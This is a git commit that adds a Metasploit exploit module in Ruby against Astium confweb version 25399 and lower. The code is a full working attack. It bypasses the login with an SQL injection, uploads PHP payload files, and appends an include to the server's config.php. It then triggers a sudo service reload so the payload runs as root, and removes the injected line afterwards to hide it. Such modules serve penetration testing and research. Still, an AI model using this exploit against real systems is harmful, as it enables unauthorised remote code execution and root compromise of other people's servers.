added Astium confweb 25399 RCE

bug/bundler_fix
xistence 2013-09-17 12:32:10 +07:00
parent bc39609cfc
commit 82aa3f97b0
1 changed files with 248 additions and 0 deletions

View File

@ -0,0 +1,248 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Astium",
'Description' => %q{
This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and lower.
Admin access is gained by an SQL Injection authentication bypass in the login form.
Having admin access makes it possible to upload PHP code.
This PHP code will modify the "/usr/local/astium/web/php/config.php" script and add our payload.
A "sudo /sbin/service astcfgd reload" is executed to reload the configuration with root privileges
and trigger remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
],
'References' =>
[
[ 'EDB', '23831' ]
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Astium', {}]
],
'Privileged' => false,
'DisclosureDate' => "Sep 17 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']),
], self.class)
end
def check
uri = target_uri.path
peer = "#{rhost}:#{rport}"
# Check version
print_status("#{peer} - Trying to detect Astium")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "en", "content", "index.php")
})
if res and res.code == 302 and res.body =~ /direct entry from outside/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def exploit
uri = target_uri.path
peer = "#{rhost}:#{rport}"
print_status("#{peer} - Retrieving cookie")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "en", "content", "index.php")
})
if res.code == 302
if (res.headers['Set-Cookie'] =~ /astiumnls=([a-zA-Z0-9]+)/)
session = $1
redirect = URI(res.headers['Location'])
print_status("#{peer} - Session cookie is [ #{session} ]")
print_status("#{peer} - Location is [ #{redirect} ]")
else
print_error("#{peer} - Session cookie not found!")
end
else
print_error("#{peer} - Server returned #{res.code.to_s}")
end
# Follow redirection process
print_status("#{peer} - Following redirection")
res = send_request_cgi({
'uri' => "#{redirect}",
'method' => 'GET',
'cookie' => "astiumnls=#{session}"
})
if not res or res.code != 200
print_error("#{peer} - Redirect failed!")
return
end
print_status("#{peer} - Access login page")
res = send_request_cgi({
'method' => 'GET',
'cookie' => "astiumnls=#{session}",
'uri' => normalize_uri(uri, "?js=0&ctest=1&origlink=/en/content/index.php")
})
if res.code == 302
redirect = URI(res.headers['Location'])
print_status("#{peer} - Location is [ #{redirect} ]")
else
print_error("#{peer} - Server returned #{res.code.to_s}")
end
# Follow redirection process
print_status("#{peer} - Following redirection")
res = send_request_cgi({
'uri' => "#{redirect}",
'method' => 'GET',
'cookie' => "astiumnls=#{session}"
})
if not res or res.code != 200
print_error("#{peer} - Redirect failed!")
return
end
# SQLi to bypass authentication
sqli="system' OR 1='1"
post_data = "__act=submit&user_name=#{sqli}&pass_word=pwned&submit=Login"
print_status("#{peer} - Using SQLi to bypass authentication ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "/en", "logon.php"),
'cookie' => "astiumnls=#{session}",
'data' => post_data
})
if not res or res.code != 302
print_error("#{peer} - Login bypass was not succesful!")
return
end
# Random filename
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
payload_name2 = rand_text_alpha(rand(10) + 5) + '.php'
# Payload #1 - Our encoded msf payload will be uploaded
post_data = "--o0oOo0o\r\n"
post_data << "Content-Disposition: form-data; name=\"__act\"\r\n\r\n"
post_data << "submit\r\n"
post_data << "--o0oOo0o\r\n"
post_data << "Content-Disposition: file; name=\"importcompany\"; filename=\"#{payload_name}\"\r\n\r\n"
post_data << "<?php "
post_data << payload.encoded
post_data << " ?>\r\n"
post_data << "--o0oOo0o\r\n"
# Payload #2 - This payload will add a PHP include to /usr/local/astium/web/php/config.php.
# The config.php will be reloaded because of the sudo rights to /sbin/service astcfgd reload and thus executed as root.
post_data2 = "--o0oOo0o\r\n"
post_data2 << "Content-Disposition: form-data; name=\"__act\"\r\n\r\n"
post_data2 << "submit\r\n"
post_data2 << "--o0oOo0o\r\n"
post_data2 << "Content-Disposition: file; name=\"importcompany\"; filename=\"#{payload_name2}\"\r\n\r\n"
post_data2 << "<?php "
# Open the file /usr/local/astium/web/php/config.php and append an include to our payload #1
post_data2 << "$f = fopen('/usr/local/astium/web/php/config.php', 'a');"
post_data2 << "fwrite($f, '<?php include(\"/usr/local/astium/web/html/upload/#{payload_name}\") ?>');"
post_data2 << "fclose($f);"
post_data2 << "system('sudo /sbin/service astcfgd reload');"
# Sleep 1 minute, so that we have enough time for the reload to trigger our payload
post_data2 << "sleep(60);"
post_data2 << "$lines = file('/usr/local/astium/web/php/config.php');"
# Delete last line (containing our reverse shell) of the config.php file, else the web interface won't work anymore after our exploit.
post_data2 << "array_pop($lines);"
post_data2 << "$file = join('', $lines);"
post_data2 << "$file_handle = fopen('/usr/local/astium/web/php/config.php', 'w');"
post_data2 << "fputs($file_handle, $file);"
post_data2 << "fclose($file_handle);"
post_data2 << " ?>\r\n"
post_data2 << "--o0oOo0o\r\n"
print_status("#{peer} - Uploading Payload #1 [ #{payload_name} ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "en", "database", "import.php"),
'ctype' => 'multipart/form-data; boundary=o0oOo0o',
'cookie' => "astiumnls=#{session}",
'data' => post_data
})
# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
if not res or res.code != 200
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end
print_status("#{peer} - Uploading Payload #2 [ #{payload_name2} ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "en", "database", "import.php"),
'ctype' => 'multipart/form-data; boundary=o0oOo0o',
'cookie' => "astiumnls=#{session}",
'data' => post_data2
})
# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
if not res or res.code != 200
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end
print_status("#{peer} - Requesting Payload #2 [ #{uri}upload/#{payload_name2} ]")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "upload", "#{payload_name2}")
})
print_status("#{peer} - Waiting 1 minute as the reloading process may take some time")
select(nil, nil, nil, 60)
# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either. Print the status code for debugging purposes.
if res and res.code != 200
print_error("#{peer} - Server returned #{res.code.to_s}")
end
end
end